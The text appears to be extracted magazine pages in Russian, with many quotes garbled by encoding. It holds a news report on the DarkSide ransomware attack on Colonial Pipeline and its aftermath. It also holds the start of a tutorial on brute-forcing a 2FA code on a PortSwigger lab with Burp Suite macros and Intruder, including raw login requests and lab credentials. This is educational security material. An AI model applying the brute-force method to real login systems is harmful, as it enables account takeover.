и даже во вре мя пан демии корона виру са ата куют сети медицин ских учрежде- 
ний.

обе щают не ата- 
ковать

Ата ка на ком панию Colonial Pipeline, которая явля ется круп ней шим в США
опе рато ром тру боп роводов и занима ется тран спор тиров кой топ лива, ста ла
резонан сным инци ден том. Из-за этой ата ки воз никли проб лемы с пос тавка ми
бен зина, дизель ного топ лива, ави ацион ного топ лива и дру гих про дук тов неф- 
тепере работ ки в ряде шта тов.

Де ло в том, что инци дент вынудил Colonial Pipeline вре мен но при оста- 
новить работу, а ком пания тран спор тиру ет неф тепро дук ты меж ду неф тепере- 
раба тыва ющи ми завода ми, рас положен ными на побережье Мек сикан ско го
залива, и рын ками на юге и вос токе США. В день по тру боп роводу ком пании,
чья про тяжен ность сос тавля ет 5500 миль, про ходит до 2 500 000 бар релей,
то есть при мер но 45% все го топ лива, пот ребля емо го на Вос точном
побережье США.

«7 ìàÿ ñòà ëî èçâåñ òíî, ÷òî êîì ïàíèÿ Colonial Pipeline ñòà ëà æåð òâîé

êèáåðà òàêè. Ìû ïðå âåí òèâíî îòêëþ ÷èëè îïðå äåëåí íûå ñèñ òåìû, ÷òî- 

áû ñäåð æàòü óãðî çó, êîòîðàÿ âðå ìåí íî ïðåð âàëà ðàáîòó íàøåãî òðó- 

áîï ðîâîäà è çàò ðîíóëà íåêîòî ðûå ÈÒ‑ñèñ òåìû. Óçíàâ î ïðîá ëåìå, ìû

îáðà òèëèñü ê ñòî ðîí íåé ôèð ìå, çàíèìà þùåé ñÿ êèáåð áåçîïàñ íîñòüþ,

è îíè óæå íà÷àëè ðàñ ñëå äîâà íèå õàðàê òåðà è ìàñ øòà áîâ ýòî ãî èíöè- 

äåí òà, êîòîðîå åùå ïðî äîë æàåò ñÿ», — ãëà ñèëî îôè öèàëü íîå çàÿâ- 

ëåíèå Colonial Pipeline, ñäå ëàí íîå ñðà çó ïîñ ëå èíöè äåí òà.

В резуль тате Федераль ная адми нис тра ция безопас ности гру зово го авто- 
мобиль ного тран спор та при Минис терс тве тран спор та США объ яви ла реги- 
ональ ный режим ЧС, зат рагива ющий 17 шта тов и округ Колум бия.
Это решение было при нято для ока зания помощи пос тра дав шим рай онам,
нуж дающим ся в немед ленных пос тавках бен зина, дизель ного топ лива, ави- 
аке роси на и дру гих про дук тов неф тепере работ ки.

Ре жим ЧС рас простра нял ся на сле дующие шта ты и окру га: Ала бама,
Арканзас, Вир джи ния, Делавэр, Джор джия, Кен тукки, округ Колум бия,
Луизиана, Мис сисипи, Мэриленд, Нью-Джер си, Нью-Йорк, Пен силь вания,
Север ная Кароли на, Тен неси, Техас, Фло рида и Южная Кароли на.

Пред ста вите ли Colonial Pipeline уве ряли, что работа ют с пра воох ранитель- 
ными орга нами и Минис терс твом энер гетики США, что бы пос тепен но вер-
нуть в строй сег менты тру боп ровода и в крат чай шие сро ки вос ста новить
работу ИТ-сис тем.

ÂÛÊÓÏ Â ÐÀÇÌÅÐÅ 4,4 ÌÈËËÈÎÍÀ ÄÎËËÀÐÎÂ

Вско ре пос ле того как о взло ме ста ло извес тно, изда ние Bloomberg, со ссыл- 
кой на собс твен ные ано ним ные источни ки, сооб щило, что ком пания вып- 
латила вымога телям выкуп в раз мере 5 мил лионов дол ларов США. Хотя
при этом Washington Post и Reuters писали, что ком пания не намере на вес ти
перего воры со зло умыш ленни ками, жур налис ты Bloomberg заяви ли, что эта
информа ция не соот ветс тву ет дей стви тель нос ти.

Поч ти одновре мен но с появ лени ем этих сооб щений в прес се Colonial
Pipeline дей стви тель но уда лось вос ста новить штат ную работу сво его тру боп-
ровода, и пос тавки неф тепро дук тов были возоб новле ны в нор маль ном объ- 
еме.

Со обще ние о возоб новле нии работы тру боп ровода

Нес коль ко дней спус тя гла ва Colonial Pipeline Джо зеф Бла унт (Joseph Blount)
офи циаль но под твер дил жур налис там Wall Street Journal, что ком пания зап- 
латила зло умыш ленни кам 4,4 мил лиона дол ларов США в бит кой нах. По его
сло вам, это было необ ходимо, что бы как мож но быс трее опра вить ся от ата ки
шиф роваль щика, которая ока зала вли яние на кри тичес ки важ ную энер- 
гетичес кую инфраструк туру. Бла унт наз вал вып лату выкупа «пра виль ным пос- 
тупком», сде лан ным «ради стра ны».

«ß çíàþ, ýòî âåñü ìà ñïîð íîå ðåøåíèå. Ìíå áûëî íåëåã êî ýòî ñäå ëàòü.

Ïðèç íàþñü, áûëî íåêîì ôîð òíî íàá ëþäàòü çà òåì, êàê äåíü ãè óõî äÿò

ê ïîäîá íûì ëþäÿì», — ðàñ ñêà çàë Áëà óíò, çàÿâèâ, ÷òî âûêóï áûë âûï- 

ëà÷åí åùå 7 ìàÿ.

В ито ге ком пания дей стви тель но получи ла инс тру мент для дешиф рования
дан ных, одна ко он работал столь мед ленно, что спе циалис ты ком пании были
вынуж дены про дол жить ранее начатое вос ста нов ление сис тем из резер вных
копий.

DARKSIDE

Поч ти сра зу было извес тно, что за ата кой на Colonial Pipeline сто ят опе рато ры
шиф роваль щика DarkSide. Пер вым об этом сооб щило изда ние Washington
Post, и вско ре эту информа цию офи циаль но под твер дило ФБР.

Груп пиров ка, соз давшая мал варь DarkSide, активна с августа 2020 года
и работа ет по схе ме «вымога тель как услу га» (Ransomware as a Service,
RaaS), активно рек ламируя мал варь в дар кне те и сот рудни чая с дру гими
хак-груп пами. В ито ге DarkSide пред став ляет собой клас сичес кого «охот ника
за круп ной дичью», то есть пре иму щес твен но ата кует круп ные кор поратив ные
сети, шиф рует дан ные, а затем тре бует у пос тра дав ших ком паний огромные
выкупы. Если жер твы отка зыва ются пла тить, учас тни ки DarkSide пуб лику ют
похищен ные у них дан ные на сво ем сай те в дар кне те.

Сог ласно све жему отче ту ком пании Elliptic, занима ющей ся блок чейн-ана- 
лизом, к нас тояще му момен ту хакеры успе ли «зарабо тать» на выкупах око- 
ло 90 мил лионов дол ларов.

«Â îáùåé ñëîæ íîñòè ÷óòü áîëåå 90 ìèë ëèîíîâ äîë ëàðîâ â áèò êîé íàõ

áûëî âûï ëà÷åíî DarkSide èç 47 ðàç ëè÷íûõ êîøåëü êîâ», — ãîâîðèò ñÿ

â îò÷å òå êîì ïàíèè.

Пос коль ку DarkSide работал по модели RaaS, раз работ чики шиф роваль щика
оставля ли себе око ло 25% вып лачен ных выкупов или 10%, если выкуп пре- 
вышал 5 мил лионов дол ларов. Поэто му в Elliptic полага ют, что в дей стви тель- 
нос ти сами хакеры «зарабо тали» око ло 15,5 мил лиона дол ларов, а осталь ные
средс тва оста лись в руках «пар тне ров» груп пиров ки (зло умыш ленни ков,
которые взла мыва ют сети жертв и раз ворачи вают в них мал варь).

Мно гие экспер ты заяв ляли, что, ата ковав Colonial Pipeline, хакеры заш ли
слиш ком далеко и теперь пред став ляют боль шой инте рес для пра воох- 
ранитель ных орга нов США.

При этом пре зидент США Джо Бай ден заявил на пресс-кон ферен ции, что
информа ции о при час тнос ти к этой ата ке рос сий ско го пра витель ства нет, но,
по дан ным спец служб, учас тни ки хак-груп пы могут находить ся на тер ритории
Рос сии. Бай ден сооб щал, что влас ти США намере ны помешать работе
хак-груп пы, и для это го уже были про веде ны перего воры с Мос квой.

ÈÑ×ÅÇÍÎÂÅÍÈÅ DARKSIDE

Так как ата ка на Colonial Pipeline прив лекла вни мание экспер тов, спец служб
и СМИ со все го мира, уже через нес коль ко дней хакеры пос пешили выпус тить
заяв ление. Тог да как в прес се дан ную ата ку пытались при писать рос сий ским
пра витель ствен ным хакерам, в «пресс-релизе», который был опуб ликован
на сай те DarkSide 10 мая, говори лось, что груп пиров ка апо литич на и прес- 
леду ет исклю читель но собс твен ные цели. Так же хакеры, похоже, были
не рады тому, какой хаос спро воци рова ли их дей ствия. Они пообе щали
впредь вни матель нее про верять будущие цели:

«Ìû àïî ëèòè÷ íû, íå ñâÿ çàíû ñ ãåîïî ëèòè êîé, è íå íóæ íî ñâÿ çûâàòü

íàñ ñ îïðå äåëåí íûìè ïðà âèòåëü ñòâà ìè è èñêàòü äðó ãèå ìîòèâû. Íàøà

öåëü — çàðàáà òûâàòü äåíü ãè, à íå ñîç äàâàòü ïðîá ëåìû äëÿ îáùåñ òâà.

Ñ ñåãîä íÿøíå ãî äíÿ ìû ââî äèì ìîäåðà öèþ è áóäåì ïðî âåðÿòü

êàæ äóþ êîì ïàíèþ, êîòîðóþ íàøè êëè åíòû õîòÿò çàøèô ðîâàòü, ÷òî áû

èçáå æàòü ïîäîá íûõ ñîöè àëü íûõ ïîñ ëåäñ òâèé â áóäóùåì».

14 мая 2021 года опе рато ры DarkSide обна родо вали еще одно сооб щение,
в котором заяви ли, что они утра тили кон троль над сво ими веб-сер верами
и средс тва ми, получен ными в резуль тате вып латы выкупов, и теперь прек- 
раща ют работу.

«Íåñ êîëü êî ÷àñîâ íàçàä ìû ïîòåðÿ ëè äîñ òóï ê ïóá ëè÷íîé ÷àñ òè íàøåé

èíôðàñòðóê òóðû, à èìåí íî: ê áëî ãó, ïëà òåæ íîìó ñåð âåðó, ñåð âåðàì

CDN. Òåïåðü ýòè ñåð âåðû íåäîñ òóïíû ÷åðåç SSH, à ïàíåëè õîñ òèíãà

çàá ëîêèðî âàíû», — ïèñàë îïå ðàòîð DarkSide, èçâåñ òíûé êàê Darksupp,

à òàê æå æàëîâàë ñÿ íà òî, ÷òî ïðî âàé äåð õîñ òèíãà îòêà çàë ñÿ ïîìîãàòü.

Кро ме того, хакеры утвер жда ли, что с сер вера, где раз мещались получен ные
выкупы, была выведе на крип товалю та. По сло вам Darksupp, эти средс тва
груп пиров ка дол жна была раз делить меж ду собой и сво ими «пар тне рами»,
но день ги были переве дены на неиз вес тный кошелек.

Жур налис ты изда ния The Record отме чали, что аме рикан ские влас ти прос- 
то не успе ли бы пред при нять никаких мер про тив хак-груп пы так быс тро
и опе рато ры DarkSide мог ли вос поль зовать ся заяв лени ями пре зиден та Бай- 
дена в качес тве прик рытия. То есть груп пиров ка сама заб локиро вала собс- 
твен ную инфраструк туру и скры лась с день гами, не зап латив «пар тне рам»
(клас сичес кий exit scam).

ÐÅÀÊÖÈß ÀÍÄÅÃÐÀÓÍÄÀ

Ис тория со взло мом Colonial Pipeline удос тоилась вни мания на самом выс- 
шем уров не, а излишне прис таль ное вни мание влас тей не пон равилось мно- 
гим. Подоб но взрыв ной вол не, пос ледс твия этой ата ки вско ре докати лись
до круп ней ших хак-форумов и опе рато ров дру гой мал вари.

Пер вой о гря дущих переме нах 14 мая объ яви ла адми нис тра ция популяр- 
ного хакер ско го форума XSS (ранее DaMaGeLab): на сай те зап ретили рек- 
ламиро вать и про давать любые прог раммы-вымога тели. Хотя такие извес- 
тные груп пиров ки, как REvil, LockBit, DarkSide, Netwalker, Nelim, час то исполь- 
зовали форум для рек ламы прив лечения новых кли ентов. Пред ста витель XSS
и вов се писал, что сло во «ран сом» в наши дни ста ло слиш ком опас ным и ток- 
сичным.

«Îñíîâíàÿ öåëü ñóùåñ òâî âàíèÿ ôîðóìà DaMaGeLab — ýòî çíà íèÿ.

Ìû — òåõ íè÷åñ êèé ôîðóì, ìû ó÷èì ñÿ, èññëå äóåì, äåëèì ñÿ çíà íèÿìè,

ïèøåì èíòå ðåñ íûå ñòàòüè. Öåëü Ransomware — ýòî òîëü êî ëèøü

çàðàáî òîê. Öåëè íå ñîâ ïàäà þò. Íåò, êîíå÷ íî æå, äåíü ãè íóæ íû âñåì,

íî íå âî âðåä îñíîâíûì ñòðåì ëåíè ÿì. Ìû âåäü íå ðûíîê è íå ìàð- 

êåò‑ïëî ùàä êà.

Äåã ðàäàöèÿ íàëèöî. Íîâè÷ êè îòêðû âàþò ÑÌÈ, âèäÿò òàì êàêèå‑òî
áåçóì íûå âèð òóàëü íûå ìèë ëèîíû äîë ëàðîâ, êîòîðûõ îíè íèêîã äà

íå ïîëó÷àò. Íè÷åãî íå õîòÿò, íè÷åìó íå ó÷àò ñÿ, íè÷åãî íå êîäÿò, äàæå

ïðîñ òî íå äóìà þò, âñÿ ñóòü áûòèÿ ñâî äèò ñÿ ê „çàøèô ðóé — ïîëó÷è

$“», — ïèñàë àäìè íèñ òðà òîð XSS â ñâî åì çàÿâ ëåíèè (ïîë íóþ âåð ñèþ

ïîñ ëàíèÿ ìîæ íî óâè äåòü íèæå).

В ито ге на XSS ока зались зап рещены вымога тель ские пар тнерские прог- 
раммы, арен да такой мал вари и про дажа локеров. 
Вско ре пос ле это го к зап рету на вымога тель ское ПО при соеди нил ся
еще один круп ный хакер ский форум, RAID. Если на XSS и Exploit раз мещали
рек ламу более круп ные хак-груп пы, то на RAID обыч но рек ламиро вались
начина ющие вымога тели.

Ад минис тра ция еще одно го извес тно го форума, Exploit[.]in так же объ яви ла
о том, что зап реща ет рек ламу любых прог рамм-вымога телей. Адми ны объ- 
ясни ли это тем, что локеры «прив лека ют очень мно го вни мания».

Про исхо дящее не мог ло не отра зить ся и на хакер ских груп пах. К при меру,
сам «винов ник тор жес тва», шиф роваль щик DarkSide прек ратил работу,
как уже было упо мяну то, а опе рато ры REvil, одно го из круп ней ших шиф- 
роваль щиков на рын ке на дан ный момент, сооб щили, что намере ны перес- 
тать рек ламиро вать свою RaaS-плат форму и впредь будут работать толь ко
при ват но, то есть с неболь шой груп пой извес тных и доверен ных лиц.

Так же REvil пла ниру ет прек ратить ата ковать важ ные соци аль ные сек торы,
вклю чая здра воох ранение, обра зова ние и пра витель ствен ные сети любых
стран мира, так как подоб ные ата ки могут прив лечь нежела тель ное вни мание
к работе груп пы. Если кто-то из кли ентов все же ата кует «зап рещен ную» ком- 
панию или орга низа цию, хакеры намере ны пре дос тавить жер твам бес плат- 
ный ключ дешиф рования, а затем обе щают прек ратить работу с таким «пар- 
тне ром».

Вслед за REvil о прак тичес ки ана логич ных мерах и огра ниче ниях объ яви ли
раз работ чики дру гого круп ного вымога теля, Avaddon.

У мел ких вымога тель ских груп пировок из-за столь стре митель ных перемен
воз никли более серь езные проб лемы. Так, ИБ-иссле дова тели замети ли, что
как минимум две хак-груп пы, Ako (Razny) и Everest, похоже, вооб ще свер нули
свою деятель ность.

ÍÎÂÀß ÂÅÐÑÈß DARKSIDE

Хо тя пред ста вите ли DarkSide заяви ли, что все кон чено, мно гие ИБ-экспер ты
полага ют, что на самом деле хакеры не собира ются прек ращать «работу».
К при меру, все го неделю назад спе циалис ты Fortinet FortiGuard Labs рас ска- 
зали об обна руже нии новой вер сии шиф роваль щика DarkSide. Хотя эта вер- 
сия мал вари появи лась еще до объ явле ния о прек ращении деятель нос ти,
иссле дова тели соч ли ее край не инте рес ной.

Но вый вари ант спо собен обна ружи вать и ком про мети ровать жес ткие дис- 
ки, раз битые на раз делы, и пред полага ется, что он обес печива ет более
надеж ное шиф рование фай лов. Так же мал варь находит любые фай лы резер- 
вных копий, оставлен ные адми нис тра тора ми в скры тых раз делах, и унич тожа- 
ет их. Две наибо лее инте рес ные осо бен ности это го вари анта вымога теля —
исполь зование Active Directory и вни мание к раз делам на жес тких дис ках.

Эк спер ты рас ска зыва ют, что сна чала эта вер сия DarkSide ищет кон трол- 
леры домена, а затем пыта ется исполь зовать их для ано ним ного под клю- 
чения к Active Directory через LDAP с пус тым паролем и пус тым име нем поль- 
зовате ля. В слу чае успе ха мал варь стре мит ся зашиф ровать фай лы в любых
сетевых пап ках, которые может най ти, но избе гает общих папок с име нами C$
и ADMIN$. Это общие адми нис тра тив ные ресур сы по умол чанию, которые
дол жны быть дос тупны толь ко адми нис тра торам и опе рато рам резер вно го
копиро вания.

«Âåðî ÿòíî, DarkSide èçáå ãàåò ýòèõ îáùèõ ðåñóð ñîâ íà òîò ñëó ÷àé,

åñëè îí çàïóùåí íå â êîí òåê ñòå àäìè íèñ òðà òîðà, òîã äà ïîïûò êè

ïîëó÷èòü äîñ òóï ìîãóò ïîòåí öèàëü íî ïîä íÿòü òðå âîãó», — ïîÿñ íÿþò

èññëå äîâà òåëè.

Так же новая вер сия мал вари ска ниру ет жес ткий диск (на слу чай, если
это multi-boot-сис тема) и ищет допол нитель ные тома или раз делы, что бы
зашиф ровать фай лы и в них. Если у най ден ного раз дела есть GUID, который
соот ветс тву ет резуль татам вызова DeviceloControl API, мал варь про пус кает
раз дел и перехо дит к сле дующе му, ведь хакерам нуж но, что бы заражен ные
машины оста вались хотя бы в полу исправ ном сос тоянии. Про чие раз делы,
про шед шие про вер ку, DarkSide пыта ется смон тировать с помощью API
SetVolumeMountPointW, а затем тоже шиф рует все фай лы.

ÍÅÄÎÂÎËÜÍÛÅ «ÊËÈÅÍÒÛ»

Ког да опе рато ры DarkSide неожи дан но свер нули все свои опе рации и ушли
в тень, их «пар тне ры» оста лись без вып лат, и теперь на хакер ском форуме
XSS идет нес коль ко раз биратель ств: недопо лучив шие день ги хакеры тре- 
буют, что бы кри пова лют ный депозит, ранее вне сен ный DarkSide, раз делили
меж ду ними.

По доб ные депози ты не ред кость на хакер ских ресур сах. Они игра ют роль
стра хов ки и гаран тии, помогая избе жать мошен ничес тва в отно шени ях меж ду
про дав цами и покупа теля ми. Для опе рато ров вымога тель ско го ПО депозит
и вов се явля ется сво его рода под твержде нием ста туса и доказа тель ством
того, что они ведут «успешный биз нес». К при меру, в прош лом году опе рато- 
ры REvil  депозит в крип товалю те, экви вален тный
одно му мил лиону дол ларов.

по мес тили на хак-форуме

Что бы заво евать доверие потен циаль ных пар тне ров, раз работ чики
DarkSide внес ли на XSS депозит в раз мере 22 бит кой нов (око ло 860 тысяч
дол ларов по текуще му кур су). Кошелек, где хра нят ся эти средс тва, кон тро- 
лиру ет адми нис тра ция сай та, который выс тупа ет гаран том и арбитром в слу- 
чае воз никно вения спо ров.

Как теперь пишут ИБ-иссле дова тели, уже пять пар тне ров груп пиров ки
пожало вались на то, что опе рато ры DarkSide задол жали им день ги за упла- 
чен ный выкуп или услу ги взло ма.

Пер вый пар тнер утвер жда ет, что был «пен тесте ром» и дол жен был
получить 80% выкупа, опла чен ного неназ ванной жер твой. Одна ко опе- 
рато ры DarkSide заяви ли, что у них боль ше нет дос тупа к средс твам, то
есть день ги получе ны не были, и теперь пар тнер тре бует исполь зовать
депозит груп пиров ки на XSS для получе ния сво ей доли.

•

Вто рой пар тнер заяв ляет, что для него на пар тнерском пор тале уже были
зарезер вирова ны бит кой ны, но ему приш лось отвлечь ся на семей ные
обсто ятель ства, и получить день ги он не успел.

•

Тре тий пар тнер тоже пишет, что был «пен тесте ром» и добил ся вып латы
выкупа пря мо перед зак рыти ем DarkSide. Он уве ряет, что отпра вил все
необ ходимые под твержде ния адми нис тра ции XSS.

•

Чет вертый пар тнер яко бы работал над взло мом ком паний, но так и не
получил пла теж за свои услу ги в раз мере 150 тысяч дол ларов.

•

Пя тый и пос ледний пар тнер пишет, что не смог вов ремя
получить 72 тысячи дол ларов на пар тнерском пор тале по сос тоянию здо- 
ровья.

•

По пер вой пре тен зии, подан ной 14 мая, адми нис тра тор XSS, выс тупа ющий
в качес тве арбитра, уже утвердил ком пенса цию и перечис лил ее из депози та
DarkSide. Так же адми нис тра ция форума про сит дру гих «пос тра дав ших» дать
о себе знать, если таковые име ются. Одна ко ана лити ки ком пании Emsisoft
счи тают, что такие сооб щения пишут ся толь ко ради того, что бы соз дать
путани цу. «Это сооб щес тво кибер прес тупни ков, которым извес тно, что за их
форумом вни матель но наб люда ют пра воох ранитель ные орга ны, ИБ-ком- 
пании и прес са [...] Прос то пыль в гла за».

mailto:nefedova@glc.ru
https://xakep.ru/2020/03/20/corona-ransomware/
https://xakep.ru/2020/09/29/revil-million/
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При ата ке на веб-при ложе ние иног да нуж но мно гок ратно
выпол нить цепоч ку каких-то дей ствий. Самый яркий при- 
мер — перебор паролей или вто рого фак тора аутен тифика- 
ции либо мно гок ратное исполь зование ресур сов. Для это го
есть раз ные инс тру мен ты. Какой из них выб рать, если, нап- 
ример, нам пот ребу ется тысячу раз под ряд выпол нить пять
зап росов через HTTP, под держи вая одну и ту же сес сию? Я
выберу Burp Suite, и вот почему.

Для авто мати зации мно гоша говых атак отлично под ходят скрип товые язы ки,
но не всем и не всег да удоб но тра тить лиш ний час на написа ние и отладку
кода, ког да рядом лежит готовое решение, тре бующее минималь ной нас- 
трой ки. Что не менее важ но, для дос тижения высокой ско рос ти отправ ки
и обра бот ки зап росов, а так же для парал лель ного исполне ния нуж но знать
пра виль ные сте ки, которые не тор мозят парал лель ное исполне ние и не
выпол няют лиш них дей ствий, усложня ющих исполне ние.

Ес ли тебе труд но реали зовать подоб ные задачи при помощи язы ков прог- 
рамми рова ния или ты счи таешь, что на это уйдет мно го вре мени, мож но вос- 
поль зовать ся Burp Suite. Этот инс тру мент пре дос тавля ет сра зу нес коль ко
спо собов авто мати зации:

мак росы;•
пла гин Stepper от сто рон них раз работ чиков;•
пла гин Turbo Intruder от соз дателей Burp Suite.•

Мы погово рим о том, что дают эти под ходы, об их воз можнос тях и огра ниче- 
ниях.

Рас смат ривать работу этих трех под ходов мы будем на при мере задачи,
которую при ходит ся решать очень час то: перебор четырех знач ных одно разо- 
вых паролей, которые исполь зуют ся... Да поч ти вез де. Кста ти, на bug bounty
за экс плу ата цию   

.
та ких уяз вимос тей мож но получить не малое воз награж- 

дение
В качес тве испы татель ного стен да прек расно подой дет 

, тре бующее от нас выпол нения
сотен мно гоша говых пов торя ющих ся дей ствий.

за дание с обра- 
зова тель ного ресур са PortSwigger Academy

ÎÏÈÑÀÍÈÅ ÇÀÄÀ×È

Вот как сфор мулиро вана тес товая задача на сай те PortSwigger Academy:

Äâóõ ôàêòîð íàÿ àóòåí òèôèêà öèÿ â ýòîé ëàáîðà òîðèè óÿç âèìà

ïåðåä áðóò ôîðñîì. Òû óæå ïîëó÷èë èìÿ ïîëü çîâàòå ëÿ è ïàðîëü, íî íå

èìå åøü äîñ òóïà ê âåðèôè êàöè îííî ìó êîäó ïîëü çîâàòå ëÿ 2FA. ×òî áû

ðåøèòü ýòó ïðîá ëåìó, ïåðåáî ðîì íàé äè êîä 2FA è ïîëó÷è äîñ òóï

ê ñòðà íèöå àêêà óíòà Êàð ëîñà.

Ó÷åò íûå äàí íûå æåð òâû: .carlos:montoya

Осо бен ность этой задачи сос тоит в том, что здесь недос таточ но прос то
переб рать код одно разо вого пароля (One Time Password — далее OTP)
с сущес тву ющей сес сией, потому что пос ле двух неп равиль ных попыток при- 
ложе ние перес тает счи тать сес сию валид ной. Для решения задания нам
пред сто ит выпол нять пре даутен тифика цию при помощи учет ных дан ных,
а пос ле это го попытать ся пред ска зать OTP-код.

Ïîäðîáíåå î çàäàíèè

Нам дана стра ница аутен тифика ции, которая выг лядит сле дующим обра зом.

Стра ница аутен тифика ции

При вво де учет ных дан ных при ложе ние отправ ляет сле дующий зап рос на сер- 
вер:

  POST /login HTTP/1.1
 Host: ace61ff51f4557d880dbab96004f009d.web-security-academy.net
 Cookie: session=rcnBF1vzBD00ZSjcoswRzttRrEPIQNj2

 Content-Type: application/x-www-form-urlencoded
 Content-Length: 70

csrf=AxCZcrNQ1Y7x8xTI9odKun0alLM34a9a&username=carlos&
password=montoya 

Ес ли мы вве дем учет ные дан ные кор рек тно, на экра не появ ляет ся сле дующая
стра ница вво да OTP-кода.

Стра ница вво да OTP

Пос ле вво да слу чай ного OTP-кода при ложе ние отпра вит сле дующий зап рос:

  POST /login2 HTTP/1.1
 Host: ace61ff51f4557d880dbab96004f009d.web-security-academy.net
 Cookie: session=2gt4P1gFqzyxZJIonAlFv9czYetD5pm0

 Content-Type: application/x-www-form-urlencoded
 Content-Length: 51

csrf=W9Nei8NhTXl5usVKeynuZ3kbjRHaVjW7&mfa-code=1234 

Ес ли мы смо жем уга дать OTP-код, мы решим задание. Шанс уга дать, по сути,
не так уж и мал: 1 к 10 000. С уче том того что количес тво попыток у нас
не огра ниче но, пусть и тре бует допол нитель ных дей ствий, резуль тат гаран- 
тирован на 100%.

Что важ но знать, преж де чем мы прис тупим к решению этой задачи?
1. При ложе ние исполь зует сес сион ный иден тифика тор, который мы получа- 

ем при вхо де на сайт. Он изме няет ся пос ле пер вого эта па аутен тифика ции
при помощи кор рек тных учет ных дан ных.

2. Пос ле аутен тифика ции у нас есть толь ко две попыт ки вво да OTP-кода.
Пос ле двух неудач ных попыток наша сес сия инва лиди рует ся и при ходит ся
начинать весь про цесс с начала.

3. При ложе ние исполь зует , которые меня ются при каж дом зап- 
росе. Их необ ходимо под хва тывать и под менять для каж дого нашего
POST-зап роса.

CSRF-токены

Ос талось авто мати зиро вать про цесс получе ния сес сии, вво да пер вичных
учет ных дан ных, под хва та CSRF-токенов и попыток пред ска зания OTP-кода.
Прис тупим!

Продолжение статьи →

mailto:empty.jack@yandex.ru
https://hackerone.com/reports/744662
https://hackerone.com/reports/917688
https://hackerone.com/reports/707231
https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack
https://portswigger.net/web-security/csrf/tokens
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ÑÏÎÑÎÁÛ ÐÅØÅÍÈß

Ñïîñîá 1. Èñïîëüçîâàíèå ìàêðîñîâ

Мак росы в Burp Suite — это механизм для авто мати зации пре доп ределен ных
пос ледова тель нос тей дей ствий. Ты можешь исполь зовать мак росы внут ри
пра вил обра бот ки сеан сов для решения раз личных задач. Научить ся ими
поль зовать ся нес ложно, осо бен но на при мере нашей задачи.
1. С запущен ным Burp Suite вхо дим в сис тему как Кар лос (учет ные дан ные

ука заны в задаче) и собира ем пакеты HTTP-аутен тифика ции вплоть
до про вер ки 2FA. Они при годят ся нам для нас трой ки мак роса.

2. Пос коль ку сес сия пос тоян но изме нят ся и инва лиди рует ся при неус пешных
попыт ках вво да кода, нам понадо бит ся каким-то обра зом ее под держи- 
вать. Для это го мы будем исполь зовать воз можнос ти обра бот ки сеан сов
Burp. Перей дем к их нас трой ке.

3. В меню Burp перей ди в Project Options → Sessions. На панели Session
Handling Rules наж ми кноп ку Add. Откро ется диалог Session handling rule
editor. Здесь мы будем добав лять пра вила под держа ния сес сии и ее
возоб новле ния.

4. В окне диало га во вклад ке Scope в раз деле URL Scope выберем зна чение
Include All URLs, что бы не утруждать себя тон кой нас трой кой. Сес сия будет
под держи вать ся для любых URL.

5. Вер немся на вклад ку Details и нач нем соз давать мак рос. В раз деле Rule
Actions наж мем кноп ку Add и в открыв шемся окош ке выберем Run a macro.
Здесь и нач нется про цесс соз дания мак роса, который будет пов торять ся
при отправ ке каж дого нашего зап роса.

6. В открыв шемся окне нас трой ки мак роса выберем зап росы для авто мати- 
зации (это будут зап росы пер вично го вхо да, получе ния иден тифика тора
сес сии и токена CSRF для отправ ки пер вой фор мы). Для это го в раз деле
Select macro нажима ем кноп ку Add. Здесь мы выбира ем пакет вхо да
на стра ницу  (GET-зап рос), пакет отправ ки учет ных дан ных с POST-
зап росом к стра нице  и пакет вхо да на стра ницу  где
Burp под хва тит токен CSRF для вво да OTP-кода.

/login
/login ,/login2

7. В этой же вклад ке в ниж нем пра вом углу мож но про тес тировать соз данный
нами мак рос, нажав кноп ку Test macro. Если мы наж мем эту кноп ку, то уви- 
дим, что Burp выпол нит три зап роса под ряд, под хва тит выдан ные ему
Cookie-дан ные и получит токен CSRF, который надо было исполь зовать
для отправ ки фор мы. Уже сей час нам оста ется толь ко авто мати зиро вать
ввод OTP-кода, и дело сде лано.

8. На жима ем ОK и зак рыва ем диало говые окна. Теперь при отправ ке каж- 
дого зап роса Burp будет выпол нять дан ный мак рос для получе ния новой
сес сии, а потом под став лять зна чение сес сии и зна чение токена CSRF
в исхо дящий зап рос для их обновле ния.

9. Те перь возь мем зап рос с отправ кой OTP-кода (POST-зап рос к стра нице 
 и отпра вим его в Intruder для авто мати зации.)/login2

10. Во вклад ке Intruder оставля ем для наг рузки толь ко поле  (вот
так: ) и перехо дим во вклад ку Payloads. Здесь выбира- 
ем для Payload Type зна чение Numbers и ука зыва ем циф ры, которые мы
хотим генери ровать: 

.

mfa-code
mfa-code=§1234§

From: 0, To: 9999, Step: 1, Min integer 
digits: 4

11. Пе рехо дим во вклад ку Options и нас тра иваем Number of threads в зна-
чение 1 (это нуж но потому, что Burp не уме ет одновре мен но под держи вать
иден тифика торы сес сии для двух и более потоков, толь ко для одно го).

12. Пос ле это го запус каем Intruder и вклю чаем режим «жду на».

На уга дыва ние кода Intruder понадо билось поряд ка десяти минут (мой код
был ). Это супер долго! Даже не десятая часть всех попыток. Почему
нель зя быс трее? Потому что Session Handling не может под держи вать сес сию
у двух потоков одновре мен но.

0643

Как работа ет это решение, мож но пос мотреть на сле дующем виде оро- 
лике.

Под ведем итог того, что нам дают мак росы и что они уме ют.

Âîç ìîæíîñ òè:

удоб но под держи вать сеанс сес сии, пос тоян но зах ватывая иден тифика тор
сес сии самос тоятель но, даже если он обновля ется;

•

под хва тыва ются не толь ко зна чения сес сии, но и все зна чения, которые
исполь зуют ся для выпол нения нового зап роса: перемен ные, токены CSRF
и про чее.

•

Ïðîá ëåìû:

ра бота толь ко в одном потоке;•
ес ли нуж ны «перек рес тные ата ки», исполь зующие сес сию двух поль- 
зовате лей одновре мен но, то реали зовать это невоз можно, так как под- 
держи вает ся толь ко одна сес сия.

•

дос таточ но неоче вид ная нас трой ка, очень лег ко запутать ся в мно гочис- 
ленных меню.

•

Ñïîñîá 2. Èñïîëüçîâàíèå ïëàãèíà Stepper

Пла гин Stepper — это бес плат ный пла гин, дос тупный в модуле Burp Suite
Extender, который помога ет авто мати зиро вать пос ледова тель нос ти дей ствий.
Най ти его мож но на .GitHub

Раз работ чики рас ска зыва ют о Stepper сле дующее:

Stepper ðàç ðàáîòàí êàê åñòåñ òâåí íîå ðàç âèòèå èíñ òðó ìåí òà Repeater

èç Burp Suite è ïðå äîñ òàâëÿ åò âîç ìîæíîñòü ñîç äàâàòü ïîñ ëåäîâà òåëü- 

